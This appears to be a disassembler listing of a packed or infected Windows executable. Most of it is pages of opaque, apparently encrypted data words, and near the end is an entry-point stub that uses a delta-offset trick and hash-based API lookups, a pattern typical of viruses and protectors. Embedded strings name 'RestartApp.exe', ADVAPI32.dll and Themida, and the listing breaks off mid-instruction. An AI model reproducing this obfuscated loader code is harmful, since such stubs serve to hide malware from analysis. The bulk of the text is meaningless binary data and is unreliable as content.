0EC1EDEB4h, 697ED0h dd 0F037E855h, 28A71418h, 3641771Dh, 74613F00h, 0E25296EBh dd 848C0A9h, 0B1BDA19h, 0FA362F00h, 0B19972C6h, 41610CA4h dd 12984EEh, 427CAC00h, 0A3399B80h, 0A87A64D6h, 7E2846F8h dd 0E0890029h, 810E82C1h, 6700C2BFh, 1C7CDAA2h, 8E6F4Eh dd 8030332Fh, 0AF93DB83h, 1701F3F8h, 0A1EAA2D5h, 49807826h dd 0E0B976Dh, 0D70095C5h, 9AD9FF2Bh, 1CA847Eh, 500FE9FAh dd 0D010D172h, 2200CDB8h, 120E8652h, 1E409E9Bh, 8AA4E8F7h dd 8ABC3DF1h, 80A4E7C9h, 508BC3B5h, 40C3498h, 1C1C77DEh dd 0C29D12ACh, 662C0179h, 8009529Fh, 71BD1BE1h, 2858E6E0h dd 0FDB1ABh, 136DD14h, 958D9782h, 117A8C92h, 58C6B91Eh dd 0C00F720Eh, 29359CD9h, 37850CE2h, 7491A97Ah, 79284118h dd 3603F1h, 0DD95CADFh, 0B7DA33E6h, 5406B900h, 2982D21Eh dd 0C1760007h, 8CCF2847h, 4660CCA0h, 0D7DE9349h, 80A60E10h dd 9407950h, 1783E62Bh, 45135624h, 725EE300h, 1D92062Fh dd 0C0E0DDD0h, 913BE1E7h, 29003AA9h, 0CA3E1316h, 0A1E8648h dd 851DEC9h, 34AF8080h, 0E87BAB64h, 8B4AEA00h, 0C623F1C9h dd 0A3C90F8h, 5165B8E0h, 95F44398h, 26F721A8h, 2730EEFEh dd 2232E97Ch, 15F3001Fh, 4F5E87C5h, 0ED07069Eh, 33787BA2h dd 8EA8FD80h, 0D1A8A069h, 0CF3F0024h, 0B9DF4B7Eh, 4777378Ch dd 0C0D0CD48h, 0E56E6230h, 1DC900A0h, 167C9C88h, 0BB7CB612h dd 1CD8700h, 2AF31476h, 0F1B50769h, 14C99553h, 930890E9h dd 6800CF1Fh, 0ACAD2DF6h, 6623ECh, 50344721h, 0BD9155Bh dd 36080C04h, 0B4809306h, 730937h, 23446A7Fh, 1CF17181h dd 5284250Eh, 42144F2h, 2B8208Ch, 4A9912F3h, 6440DA0Bh dd 0F903AD91h, 86F4D51Eh, 3EC3C5h, 0CF64E1D1h, 1B173BB9h dd 43DDB80Fh, 4079E359h, 6267E8A7h, 231E00E2h, 5469FF0Ah dd 0E900A009h, 65CD8647h, 0F9FA27Eh, 0B71F596Bh, 0D9E77F00h dd 0BAB07964h, 0E6008091h, 43FAED8Ah, 5AD800B1h, 117251BDh dd 89C02EEFh, 0D28948B7h, 2B770053h, 0E2AE241Fh, 0DA094266h dd 0FCF0A0h, 99328E7Dh, 13701DD7h, 9F7A83CAh, 800A03Ch dd 0E908D92Ch, 0AF09CACh, 9158B4E2h, 41CC1EECh, 98462A8Ch dd 71B841h, 0B2E27AABh, 77CF114Bh, 0CA04004Dh, 1EA796Bh dd 0B4B87764h, 4CCBAE39h, 0C0F3228Ch, 7796A0E0h, 0C30CA611h dd 0E9802805h, 60503E41h, 0D080EEBFh, 0FD6BD4DEh, 0CC1E1D46h dd 7E42E783h, 40023F3Eh, 304B8C8Ch, 3A596C47h, 349808A0h dd 44981E18h, 2D004A9h, 0F93F13ADh, 0DA409527h, 0B2095AE8h dd 70F2A9h, 0F4651850h, 5E6A062Bh, 51F5519Bh, 83279E00h dd 3D891BF6h, 0F17E005Bh, 0AD84395Ah, 0D40A92B9h, 60DC1811h dd 0EF9A2B80h, 5CB73543h, 0A2008006h, 41FCA911h, 4D397B4Eh dd 0CA3900F4h, 7A18724Fh, 802001B7h, 44095D38h, 0C090927Eh dd 0F5153030h, 0C9743Bh, 90D79E8Ah, 5076E295h, 27CA7D05h dd 0EB051BE4h, 8440EEC9h dd 4DAD42A2h, 1C7654h, 0B9CBE04Eh, 73C5B81Fh, 0F8E40D2Ah dd 40CF7914h, 0E3BD00F0h, 0C831BA0Ch, 707F3F3Fh, 32B713h dd 64C60B9Ch, 0E83FEFF5h, 4DC9BBE1h, 0C8AE0064h, 0B133AC2Fh dd 129CFE24h, 1AB3B8Dh, 0A36B25B0h, 8B8C4829h, 4E91A100h dd 4F199D14h, 0C25F015Ch, 0D4F3AF45h, 73E441EAh, 0CB3810FFh dd 0BCB90381h, 467742D9h, 0A18900C5h, 0A030AD13h, 0ECCA1018h dd 0B50289h, 0C5DF9C56h, 50B2D9ACh, 0A02F912Ah, 7C995E00h dd 0B8E4A0F4h, 0D09807CBh, 94F95AD6h, 9374C826h, 44E42E00h dd 1B8747BEh, 0AA31A1Fh, 20403C22h, 0B018230h, 0E794388Eh dd 39806E8Ah, 962B9D12h, 0C0A4CABFh, 2EC150Fh, 5B2500EDh dd 4809975Ch, 9E064FDAh, 29E5B07Ah, 0F1715130h, 0FE4DC0h dd 433FF8E6h, 653089CDh, 9F520F00h, 2118FA66h, 17B51639h dd 2F540071h, 50BAE3F0h, 51935E0Ch, 3ECF49F6h, 3FCCFF9Fh dd 969CBE09h, 8E8C6100h, 5E09FD22h, 9998950Bh, 0DEE490FCh dd 0A8270248h, 0EE52F1BEh, 36F47020h, 0ABAC040Fh, 0C59C8F2Fh dd 29AC087Ch, 75BC6981h, 0CDF41C76h, 7737003Bh, 0F116BA5Bh dd 0A8C0338Eh, 0CCECF01Eh, 4B122C85h, 0EBFB07B8h, 0C9C0E29Ah dd 0D40088C4h, 762DF8DEh, 0A938A6h, 0EC1366A8h, 1B83FEC5h dd 9381F903h, 130451A4h, 7A8DB9h, 99071CA2h, 0AA61D1E7h dd 0E8AF79B9h, 88CDB054h, 0FA90830h, 91883360h, 0AD14E261h dd 0E86320h, 6F84C5E6h, 9E1ADEh, 0CAA050A3h, 364789C4h dd 4A642D16h, 917BCBA8h, 5E3B0180h, 213D51AAh, 3124F094h dd 0F301F9E8h, 4581D3C5h, 0E60F719h, 0DA7738B5h, 3026468Fh dd 0ACE67CC0h, 820C8E3Fh, 0A90A517Fh, 0B1570021h, 0F6EFCA15h dd 0F52A1098h, 0E098C871h, 68926202h, 416517D9h, 7C408E44h dd 48839163h, 230DECCCh, 6738FA52h, 472679A4h, 561FE244h dd 0DD40F45Eh, 0DB6CFD1Eh, 287E37h, 71521143h, 0DC1AEBE8h dd 4692001h, 33FAA6F2h, 0F8113EF0h, 45BA0061h, 71E9124h dd 66168DB8h, 4AE0B4E0h, 4F690CBEh, 3031518Eh, 9AF93A1Dh dd 0DA17C140h, 50779B8Ch, 6E28F0h, 9F89DF18h, 87F5ADDEh dd 0E6CE3B00h, 0D7BF0DB8h, 76511DF3h, 1F97418Bh, 88804B92h dd 5730F60h, 443829h, 0F1C79B5Ch, 8200DC06h, 896F51D4h dd 1A77801h, 4D5DA2FBh, 80509975h, 0F547A331h, 6B2914h dd 36A4595Ah, 920FC286h, 7BCBD200h, 0C3C010A1h, 183E8012h dd 50B38100h, 8F2C1A7h, 0A32F0135h, 0B9AA8793h, 0FD58803Fh dd 72700D28h, 0FB840026h, 1BC6BEF8h, 80E7664Ah, 0BA23DC49h dd 0AE3B2Fh, 0ECD35490h, 2499503Fh, 49628CA8h, 0BBE98000h dd 2F5E5473h, 0C0172AAFh, 2EB80034h, 0BF57BBB0h, 7000CC13h dd 3F291E8h, 30291D0Ah, 56E93E37h, 1C00F868h, 0AD746417h dd 0A1AF7F04h, 0B49C8A24h, 0BE108081h, 0EBDEF82Fh, 65C5E80Ah dd 6E03E014h, 1BCAF71h, 7E8D8251h, 0D18828CAh, 0ECAF2020h dd 0BAA6D800h, 39F3DA9h, 72D23116h, 0E104F331h, 0D9BCA8h dd 80CE0E68h, 1C5857A9h, 8002F178h, 6E85B8C5h, 280068D7h dd 63AF6052h, 2918E0EBh, 7F8F97Ch, 1F68918Ah, 0FCCD4521h dd 57EBEC98h, 0BD175900h, 0BE3B07CFh, 0C9F203CEh, 0F9D7A9F7h dd 7F2315F8h, 60934F3Bh, 1C18BF89h, 0F851F8E5h, 14BCA668h dd 8F9EE56h, 2B134701h, 0FC7681DDh, 0D90046D4h, 0CED33906h dd 74E12A4h, 778C9EC6h, 2F3CC0F2h, 6F3C31AAh, 4C422425h dd 4F7BE260h, 49D92CA7h, 611B183Fh, 0C90EF1BAh, 207A07F2h dd 0E90AED06h, 99C2189Bh, 41F44146h, 913D1B70h, 4FF8872Bh dd 4856E1DFh, 63CF0321h, 0D1075478h, 0DC9BFB8h, 9C145891h dd 775080C4h, 63A14E9h, 995A66C7h, 0FB004147h, 1FCD8717h dd 7C9ABFFEh, 99E788ADh, 0CEE9151Ch, 0F358EAC0h, 3D01E6Ah dd 3CA9DC16h, 0C9721DFAh, 9A37FF00h, 0CBBAD96h, 0C2940053h dd 79ACFAA1h, 0E040D8Bh, 4A6BCD17h, 3ACF5480h, 0A6181D3Fh dd 0C67A2074h, 6F791360h, 7036D8Ch, 0E86AB0DDh, 167F31EAh dd 0A034C053h, 9E8B1818h, 0E0CB82D9h, 17745Bh, 849DD209h dd 4CF03048h, 18A87F00h, 425CC7BDh, 0D51719DEh, 0F18271BAh dd 6B8BE4DAh, 695A5600h, 1D28D7CCh, 4F80A845h, 464999Ah dd 8055AE29h, 0B7D8AB50h, 2BEF7A02h, 9098200Ah, 138F01A4h dd 184D0483h, 0DFED7813h, 0AA0FAD00h, 0A722208Ch, 0C6D4F96Bh dd 0D8B0C427h, 3BAC88A9h, 0A02E8200h, 0F5FFE170h, 67D60310h dd 0E768E4D4h, 7FD9C1E0h, 16FD8C0h, 0C07C564Dh, 0A474FB90h dd 49C03F28h, 37B85A71h, 6FA202E1h, 2BB467D7h, 8B8634A3h dd 4C2597C8h, 0AF853A0Fh, 27009CE3h, 14F0151Bh, 8022E7B8h dd 0F3C057Bh, 0C0053B3Dh, 66282C23h, 5DED6B00h, 0A4AB5E4Ah dd 7A6E3B7Bh, 0E3671301h, 486850B5h, 991CD29Ch, 2C0184Ah dd 0E36BB816h, 0E57C39h, 0F5B0A667h, 2FC5CAE9h, 17583A06h dd 0F0A96CA8h, 9F024FEh, 7F0780FCh, 0C07C1FDFh, 6290E70Eh dd 2542C068h, 436599h, 3AFA58E9h, 0BB5FB0CEh, 44D7FE00h dd 0A0A74BB9h, 30450008h, 5CABF5D4h, 0F6A03965h, 0E118BB55h dd 0D5315958h, 319100FBh, 0A01EF8E2h, 964C3C6Ch, 0E3B20FCEh dd 2830FD78h, 1E02C55h, 0DA2919E1h, 70940C91h, 0B98A7C8h dd 458759DDh, 5720B82Bh, 98B1B3C9h, 0D91F50C4h, 945538B6h dd 0F6AB2000h, 0A4E56748h, 8C1D9500h, 246699E9h, 0F814F026h dd 2864B25Dh, 1D54B633h, 80A6F5A2h, 9431D24Ch, 6C185B02h dd 0F720560Ah, 1AD9004Bh, 0DD06C2B9h, 0FB0096A0h, 0EE311623h dd 0CE5883E1h, 56A18549h, 705E93D1h, 37306678h, 4E45C1D0h dd 0AB0B0788h, 21B81E58h, 48D4328Ch, 0FF03AD9Ch, 0D9C3D185h dd 1093B8F1h, 0A58C257h, 94AEBCDFh, 0E3AC5623h, 0E0A6ED80h dd 0C8002278h, 75EFF0D4h, 606C6990h, 5351B908h, 5B00E2EDh dd 343C041Ch, 0B0DECDh, 7D884B43h, 6083FD41h, 62DFCA00h dd 1F0A2539h, 5C68019Dh, 0B6690CB0h, 0C6EB3021h, 1D299661h dd 0A2C1671Ah, 8C38C0FFh, 0C56A180Fh, 95762194h, 8F008973h dd 9EE730FFh, 0EC1B06F8h, 32DB0A0h, 960D8DB4h, 30078EB8h dd 3F931A8Fh, 80035E7h, 34FC520h, 57A0B796h, 59009BC6h dd 8B8D1136h, 3ED7F88Ch, 81008FE0h, 954E19DAh, 0F17B3021h dd 8CB83F11h, 0A092F500h, 0C464285Dh, 65129F00h, 4B769951h dd 632100B3h, 0F10F4862h, 5000717Dh, 0FDC40E1Dh, 1CC15147h dd 7AFBDE3Ah, 71D4F618h, 7C01BA1Ah, 305FF83Bh, 20DCB9E5h dd 4999076Ah, 0D0BDE40Fh, 71DDE627h, 87B9B063h, 18513976h dd 260E16D8h, 75669529h, 8D06BA4Bh, 99B74D64h, 23B800B9h dd 0A3F387C2h, 7B00FD31h, 4752A95Ch, 0E517F74h, 503E6A85h dd 0F600DD4Bh, 0F2486B3Fh, 5E986D14h, 0F6C30091h, 70027671h dd 0C7D3EC35h, 0C0B0C9C1h, 20C132D1h, 1509AA0Bh, 0A03B8F3Ah dd 0C7CE3F52h, 0F8B9C080h, 16F139D5h, 48284200h, 0F6C534A4h dd 7EBA7E12h, 0F0DE01DFh, 6B47EFB1h, 0FF014BCCh, 80EDFFh dd 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_56AB30: ; CODE XREF: start:loc_512265j ; DATA XREF: start:loc_512086o jmp loc_56DF85 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- align 4 dd 0AE180F00h, 0 dd 29AA5400h, 4AA701h, 0C8813E00h, 0B8h, 4 dup(0) dd 12FF5400h, 3 dup(0) dd 5800h, 7 dup(0) dd 80162500h, 7Ch, 82h dup(0) dd 12BDEC00h, 7Fh, 8 dup(0) dd 0F869C600h, 0B9h, 0 dd 5A002300h, 5 dup(0) dd 81CDDA00h, 7Ch, 5 dup(0) dd 80ABDE00h, 7Ch, 0 dd 78449F00h, 435158h, 0 dd 20EB1A00h, 5A3E1377h, 3 dup(0) dd 0AE8D2000h, 2 dup(0) dd 12A3BB00h, 12h dup(0) dd 18EB00h, 4 dup(0) dd 5A50A400h, 3 dup(0) dd 12BDEC00h, 0AE19207Fh, 0 dd 9000h, 5FFFB000h, 1, 308AD00h, 7 dup(0) dd 90EE1800h, 7Ch, 7 dup(0) dd 0AE291800h, 0 dd 7D100h, 0Ah dup(0) dd 0C8813E00h, 0B8h, 3 dup(0) dd 0B800h, 0C00B0000h, 18C20374h, 24448B00h, 0E8530Ch dd 5B000000h, 17C381h, 5C890000h, 44891024h, 0B85B1424h dd 0AEFA37h, 448BE0FFh, 0E0FF0424h, 13h dup(0) dd 702800h, 8FFFB000h, 1, 9 dup(0) dd 0FB24700h, 84h, 12h dup(0) dd 9400h, 12FEF000h, 2 dup(0) dd 361F9000h, 0BCh, 0FE81B900h, 0CFh, 2 dup(0) dd 0FF860700h, 0FFh, 9 dup(0) dd 90EB9400h, 7Ch, 6F146C00h, 83h, 0 dd 12FF5400h, 13h dup(0) dd 0D800h, 7 dup(0) dd 0B18B0D00h, 5FFFB000h, 0DD000001h, 77h, 0 dd 0A70500h, 2 dup(0) dd 7800h, 4 dup(0) dd 5A638500h, 2 dup(0) dd 5B5B0100h, 0 dd 90EB9400h, 7Ch, 7 dup(0) dd 0F110A200h, 47h, 18h dup(0) dd 0AE37EC00h, 7 dup(0) dd 689F4400h, 7, 56CD6900h, 0AEFA0300h, 0 dd 3FFFB000h, 2, 0 dd 41000000h, 0ED00AC7Eh, 0FFh, 8 dup(0) dd 0AEFA0300h, 4C00000h, 3 dup(0) dd 5A361200h, 0 dd 0DE6D8900h, 3Bh, 2 dup(0) dd 59DDCC00h, 0 dd 56E4A300h, 3 dup(0) dd 1CFFB000h, 0CC5E3EB5h, 0CBh, 5 dup(0) dd 59D79600h, 8 dup(0) dd 5C359400h, 43EC00h, 6 dup(0) dd 91056D00h, 5FFFB07Ch, 1, 9 dup(0) dd 0AE000000h, 4 dup(0) dd 817F4500h, 7Fh, 2 dup(0) dd 2456900h, 25h, 3 dup(0) dd 5A5E7B00h, 56AF5500h, 0Bh dup(0) dd 4CFF4B00h, 0D7h, 6 dup(0) dd 0F110A200h, 47h, 3 dup(0) dd 400E900h, 0AB8B6A00h, 80189800h, 7Ch, 0Bh dup(0) dd 80000000h, 7Ch, 0CEE7DC00h, 3Fh, 0 dd 764AA700h, 0C0h, 5A69B600h, 0 dd 1CFFB000h, 5BDB21B5h, 6 dup(0) dd 0FFF22500h, 0FFh, 2 dup(0) dd 0F1D32C00h, 47h, 0 dd 0F1FDA500h, 0B0h, 0 dd 87FADD00h, 3Ch, 3 dup(0) dd 100h, 801BF600h, 0C855597Ch, 1Ch, 6 dup(0) dd 0AE1A4400h, 9 dup(0) dd 400E900h, 0 dd 56002300h, 0 dd 0DF7FFD00h, 7Fh, 15h dup(0) dd 29AA5400h, 1, 3 dup(0) dd 0B18B3200h, 0 dd 5A348700h, 0F8CD5500h, 2 dup(0) dd 5AB02B00h, 19h dup(0) dd 5A50B400h, 7 dup(0) dd 12FFA400h, 0 dd 0F2FFFF00h, 77h, 0 dd 3C7C00h, 5 dup(0) dd 3B3F4B00h, 0Dh, 5B8C3E00h, 3 dup(0) dd 0FFA49C00h, 0FFh, 7 dup(0) dd 801D7700h, 7Ch, 2 dup(0) dd 11111100h, 11h, 0 dd 271000h, 4 dup(0) dd 29AA5400h, 1, 0 dd 0DD003E00h, 7Fh, 9 dup(0) dd 0C6E100h, 3 dup(0) dd 92929200h, 5A3C7C92h, 5 dup(0) dd 24242400h, 24h, 4 dup(0) dd 80189800h, 7Ch, 0AEFA0300h, 0 dd 0E90800h, 5 dup(0) dd 0F110A200h, 47h, 4 dup(0) dd 36363600h, 36h, 6 dup(0) dd 0AE003E00h, 0 dd 0AE180F00h, 0 dd 0F1A2C700h, 0Eh, 2 dup(0) dd 0AEFA3700h, 0A4365E00h, 0FFh, 0 dd 0D305E300h, 2Eh, 0 dd 90EB9400h, 7Ch, 7 dup(0) dd 100h, 5AB31D00h, 8 dup(0) dd 0AB26B000h, 47h, 0 dd 80000000h, 7Ch, 85h dup(0) dd 90EB9400h, 7Ch, 6 dup(0) dd offset dword_417800+58800h dd 11h dup(0) dd 90EB9400h, 7Ch, 0DAE600h, 7 dup(0) dd 5A214300h, 0BE000000h, 4 dup(0) dd 90DDF900h, 7Ch, 0 dd 73655200h, 74726174h, 2E707041h, 657865h, 8 dup(0) dd 4FFFB000h, 1, 7 dup(0) dd 5A361200h, 2 dup(0) dd 36D70E00h, 4Dh, 5A3C7C00h, 4 dup(0) dd 0AEFA3700h, 8800h, 0Dh dup(0) dd 0F110A200h, 47h, 5 dup(0) dd 0DD6BF000h, 77h, 0 dd 0F8712D00h, 0B9h, 2 dup(0) dd 5B8CF900h, 2 dup(0) dd 12FF5400h, 0 dd 100h, 2 dup(0) dd 100h, 0Dh dup(0) dd 0B000h, 3 dup(0) dd 3FFFB000h, 1, 0 dd 41A8AD00h, 7Eh, 3 dup(0) dd 7A114800h, 0F6h, 0 dd 0FFA49C00h, 0FFh, 5 dup(0) dd 0FFAB1300h, 0FFh, 0 dd 0A91B7200h, 0FFh, 0Bh dup(0) dd 17F27700h, 15h, 3 dup(0) dd 90EB9400h, 0AE18427Ch, 3 dup(0) dd 90EE1800h, 7Ch, 0Ah dup(0) dd 8035DC00h, 7Ch, 0Ah dup(0) dd 90EB9400h, 7Ch, 0 dd 90EB9400h, 7Ch, 2 dup(0) dd 0F86D9300h, 14h, 14h dup(0) dd 5A002300h, 12h dup(0) dd 59E04D00h, 4 dup(0) dd 25428400h, 29AA4523h, 1, 3 dup(0) dd 5A3C7C00h, 0Bh dup(0) dd 0FC491800h, 0FFh, 0 dd 663800h, 0 dd 90EE1800h, 7Ch, 0 dd 29AA2700h, 0A5C38401h, 0FFh, 8 dup(0) dd 0EB281000h, 7Ch, 73288300h, 35h, 3 dup(0) dd 5A3C7C00h, 1Ah dup(0) dd 5A3C8E00h, 5 dup(0) dd 764AA700h, 0C0h, 3 dup(0) dd 56AF0D00h, 0Ah dup(0) dd 5A5F1100h, 0 dd 0FFC38400h, 56ECA4FFh, 0Bh dup(0) dd 26451F00h, 12h, 801BF600h, 7Ch, 0 dd 80180E00h, 7Ch, 90CDBD00h, 7Ch, 0AEB50800h, 5A214300h dd 0 dd 12BDEC00h, 7Fh, 56002300h, 0FFFFF500h, 0FFh, 11h dup(0) dd 0AF42300h, 51h, 2 dup(0) dd 0D8BF700h, 52h, 45h dup(0) dd 4505FC00h, 7Eh, 3 dup(0) dd 0AEA8CF00h, 6 dup(0) dd 90EB9400h, 7Ch, 0Ah dup(0) dd 0FFFFF500h, 72FFh, 8 dup(0) dd 5B742700h, 3 dup(0) dd 100h, 0Dh dup(0) dd 12FEC800h, 5 dup(0) dd 6800h, 5 dup(0) dd 0AE1A4400h, 0Eh dup(0) dd 809B4700h, 5A21437Ch, 10h dup(0) dd 41975E00h, 15h, 3 dup(0) dd 874E6800h, 9, 5 dup(0) dd 0D7149800h, 22h, 6 dup(0) dd 1FFFB000h, 2, 56002300h, 4 dup(0) dd 6400h, 5 dup(0) dd 0DC5C00h, 3 dup(0) dd 6C00h, 5 dup(0) dd 10B7E900h, 3 dup(0) dd 0D655AC00h, 0FEh, 2 dup(0) dd 810A7700h, 7Ch, 4 dup(0) dd 5A361200h, 0 dd 9800h, 4 dup(0) dd 5A3C7C00h, 35353500h, 35h, 0Ah dup(0) dd 8111DA00h, 7Ch, 8 dup(0) dd 0DF5DCD00h, 7Fh, 6F146C00h, 83h, 29AA5400h, 1, 8 dup(0) dd 5A3C7C00h, 2 dup(0) dd 5A45DF00h, 4 dup(0) dd 12FF5400h, 7C00h, 90EB9400h, 56E4A37Ch, 2 dup(0) dd 62F75300h, 99h, 5ADC3E00h, 0Ah dup(0) dd 3EAA1A00h, 7Eh, 0FB318800h, 0FFh, 2 dup(0) dd 90EB9400h, 7Ch, 3 dup(0) dd 56002300h, 7 dup(0) dd 5A361200h, 0 dd 400h, 3 dup(0) dd 40000000h, 4 dup(0) dd 0AE00E800h, 3EAA1A00h, 7Eh, 9 dup(0) dd 56B55900h, 2 dup(0) dd 5A5E7B00h, 89h dup(0) dd 90EB9400h, 5100007Ch, 4 dup(0) dd 72B3E900h, 65h, 3 dup(0) dd 809A5100h, 7Ch, 5 dup(0) dd 5AB31D00h, 9 dup(0) dd 90000000h, 0A04D227Ch, 0FDE84884h, 0FFh, 5105FD00h dd 0FFh, 0DF5DCD00h, 7Fh, 3 dup(0) dd 7200h, 0 dd 0A9170700h, 0FFh, 5 dup(0) dd 5C3A4300h, 444E4957h, 5C53574Fh, 74737973h, 32336D65h dd 5644415Ch, 33495041h, 6C642E32h, 6Ch, 41h dup(0) dd 9C00h, 3 dup(0) dd 0B0004600h, 0 dd 0F194A200h, 0B0004647h, 0 dd 4CFF4B00h, 0D7h, 0Bh dup(0) dd 0CEE7DC00h, 5A3C7C3Fh, 56CD6900h, 0 dd 0AEB50800h, 0BA1B4900h, 5Ch, 0 dd 9000h, 0Ah dup(0) dd 90702800h, 0BCh, 2 dup(0) dd 5A935A00h, 2 dup(0) dd 12FEF000h, 7 dup(0) dd 56E8F900h, 2 dup(0) dd 0FFFFFE00h, 0FFh, 40h dup(0) dd 3F49200h, 42h, 0Bh dup(0) dd 6F146C00h, 8C83h, 0 dd 5F7CFF00h, 5A3C7C43h, 9 dup(0) dd 0FFFFFF00h, 0FFh, 0 dd offset dword_417800+91500h dd 0 dd 90EB9400h, 7Ch, 90EB9400h, 7Ch, 5A7BDB00h, 10h dup(0) dd 1900h, 8 dup(0) dd 29AA5400h, 1, 0Bh dup(0) dd 7BFC9C00h, 0F6h, 5 dup(0) dd 348700h, 3 dup(0) dd 0A5AF4C00h, 0FFh, 8 dup(0) dd 56C66600h, 8 dup(0) dd 1F400h, 0DF5DCD00h, 7Fh, 5 dup(0) dd 0AE941700h, 29AA5400h, 1, 3 dup(0) dd 5A3C7C00h, 9 dup(0) dd 0DF5DCD00h, 7Fh, 3 dup(0) dd 0C950E800h, 83h, 0 dd 0AB0C2500h, 0EEh, 0A5338400h, 0FFh, 3 dup(0) dd 73288300h, 35h, 5A7BDB00h, 0 dd 90EB9400h, 7Ch, 3 dup(0) dd 0AEFA0300h, 2 dup(0) dd 96A0000h, 90EB9400h, 707Ch, 0 dd 0A5FFDD00h, 0FFh, 6 dup(0) dd 56CF5100h, 4 dup(0) dd 0B0FCAD00h, 5A7BDB00h, 0Dh dup(0) dd 0AE180F00h, 0Bh dup(0) dd 5BC9A200h, 0Bh dup(0) dd 5B2D6700h, 17h, 5B6C9600h, 6 dup(0) dd 817F4500h, 7Fh, 5 dup(0) dd 29AA5400h, 1, 4 dup(0) dd 0ED2DAD00h, 0FEh, 0 dd 8000h, 3B500h, 0 dd 59DDB200h, 5 dup(0) dd 0A5C38400h, 0FFh, 3 dup(0) dd 59975E00h, 251B1B00h, 79h, 4 dup(0) dd offset dword_417800+58800h dd 18h dup(0) dd 0AE180F00h, 56CE3500h, 0 dd 6F146C00h, 56C66583h, 56CCB900h, 0 dd 0FFFFB000h, 0FFh, 3 dup(0) dd 0A4B9FD00h, 0FFh, 28h dup(0) dd 98989800h, 98h, 0 dd 0E397DD00h, 80h, 6EB4C700h, 83h, 2 dup(0) dd 40100000h, 62EBE400h, 99h, 6 dup(0) dd 29AA5400h, 1CFFB001h, 0B5h, 4 dup(0) dd 5EA6E200h, 1Fh, 814AF200h, 0AE8B287Ch, 6 dup(0) dd 0BF972E00h, 4, 4 dup(0) dd 90EB9400h, 7Ch, 8 dup(0) dd 0DAE600h, 0 dd 12FF5400h, 4 dup(0) dd 0F110A200h, 47h, 2 dup(0) dd 0A5FFDD00h, 0FFh, 8 dup(0) dd 100h, 9 dup(0) dd 12FFE000h, 0 dd 56CD6900h, 0 dd 59E07500h, 5 dup(0) dd 2DF9CD00h, 0D1h, 3 dup(0) dd 5AEB9400h, 8 dup(0) dd 0DD788300h, 77h, 8 dup(0) dd 12FFC400h, 0A5960700h, 0FFh, 2 dup(0) dd 5A50B400h, 17h dup(0) dd 11201400h, 3 dup(0) dd 0A5AF4C00h, 0FFh, 0AFFFB000h, 8401h, 0Eh dup(0) dd 5ACF5100h, 9 dup(0) dd 5A50B400h, 8 dup(0) dd 0AE37EC00h, 7200h, 2 dup(0) dd 0CEE7DC00h, 3Fh, 3 dup(0) dd 0DF5DCD00h, 7Fh, 0Ch dup(0) dd 90EB9400h, 7Ch, 90EB9400h, 7Ch, 6 dup(0) dd 90702800h, 0BCh, 2 dup(0) dd 90702800h, 0BCh, 0 dd 59E02500h, 0 dd 271000h, 8 dup(0) dd 814AF200h, 7Ch, 5 dup(0) dd 52B1B700h, 7Bh, 3 dup(0) dd 1E900000h, 0FFD8F000h, 0A0FFh, 80189800h, 7Ch, 5 dup(0) dd 29AA5400h, 1, 3 dup(0) dd 55AE9A00h, 809B480Dh, 7Ch, 2 dup(0) dd 0FFFFFF00h, 80ADA0FFh, 7Ch, 0DAE600h, 3 dup(0) dd 0BD7CE000h, 0FFh, 0AE8B8600h, 11h, 6 dup(0) dd 33333300h, 2 dup(33333333h), 0C833h, 6 dup(0) dd 0D4F13B00h, 0E8h, 6 dup(0) dd 0A3CA6C00h, 0B44E5BFFh, 76h, 3 dup(0) dd 71717100h, 6078871h, 86h, 3 dup(0) dd 5A64BB00h, 6 dup(0) dd 90EB9400h, 0DC5C7Ch, 0 dd 0FFCED400h, 0FFh, 8 dup(0) dd 0A8A5200h, 34h, 4 dup(0) dd 5A3C7C00h, 0 dd 12FFF000h, 0 dd 8000E800h, 7Ch, 3 dup(0) dd 764AA700h, 0C0h, 0Ah dup(0) dd 0FC112900h, 0FFh, 4 dup(0) dd 0B400h, 0 dd 22222200h, 22222222h, 0A5C9EE22h, 0FFh, 0 dd 0B64A8D00h, 7Dh, 15h dup(0) dd 0C0005000h, 0FEh, 0AFh dup(0) dd 0A5338400h, 8111DAFFh, 764AA77Ch, 0C0h, 5A3C7C00h, 0Eh dup(0) dd 7A904800h, 0F6h, 15h dup(0) dd 100h, 0F1A2C700h, 0Eh, 0 dd 0F3EE9100h, 0C1h, 4 dup(0) dd 5A002300h, 20h dup(0) dd 90EB9400h, 7Ch, 5 dup(0) dd 56CE3500h, 2 dup(0) dd 0CFB05300h, 0FAh, 6 dup(0) dd 0A3000000h, 5 dup(0) dd 0B8243600h, 0DDEBE75Bh, 77h, 0 dd 0B4000000h, 76h, 2 dup(0) dd 0CA8B7B00h, 0BCh, 1Ah dup(0) dd 5BC9A200h, 4 dup(0) dd 351800h, 7 dup(0) dd 66400h, 2 dup(0) dd 90EB9400h, 7Ch, 4 dup(0) dd 0F110A200h, 47h, 0 dd 90EE1800h, 7Ch, 29AA5400h, 0B401h, 2 dup(0) dd 0AAEB9400h, 47h, 3 dup(0) dd 21212100h, 21h, 7 dup(0) dd 56EB8F00h, 3 dup(0) dd 0DFC41B00h, 77h, 0Ch dup(0) dd 12FF5400h, 2 dup(0) dd 90EB9400h, 7Ch, 1Ah dup(0) dd 0DD00F800h, 7Fh, 90EB9400h, 7Ch, 0Eh dup(0) dd 90EB9400h, 7Ch, 0 dd 56AF1100h, 0D20EB800h, 5B5EBB63h, 16h, 0Dh dup(0) dd 7400h, 2 dup(0) dd 0A4D8A500h, 3C7CFFh, 0Fh dup(0) dd 2E09FD00h, 0DD00F83Dh, 7Fh, 0 dd 7800h, 90EB9400h, 7Ch, 4 dup(0) dd 4B00h, 7 dup(0) dd 801A2400h, 5600237Ch, 90702800h, 0BCh, 0 dd 65685400h, 6164696Dh, 1Ch dup(0) db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_56DF85: ; CODE XREF: start:loc_56AB30j mov eax, ebp mov edx, esp pusha call $+5 pop ebp sub ebp, 95D345Fh mov [ebp+95D27A9h], edx mov [ebp+95D07E5h], esi mov [ebp+95D2B39h], eax cmp dword ptr [ebp+95D2A2Dh], 0 jz short loc_56DFBD mov ebp, eax mov esp, edx mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_56DFBD: ; CODE XREF: start+5BF9Bj mov eax, [esp+40h+var_1C] mov [ebp+95D2101h], eax push 45h call sub_56E071 push 783749Ah call sub_56E0B7 push 0A894B25h call sub_56E0B7 jmp 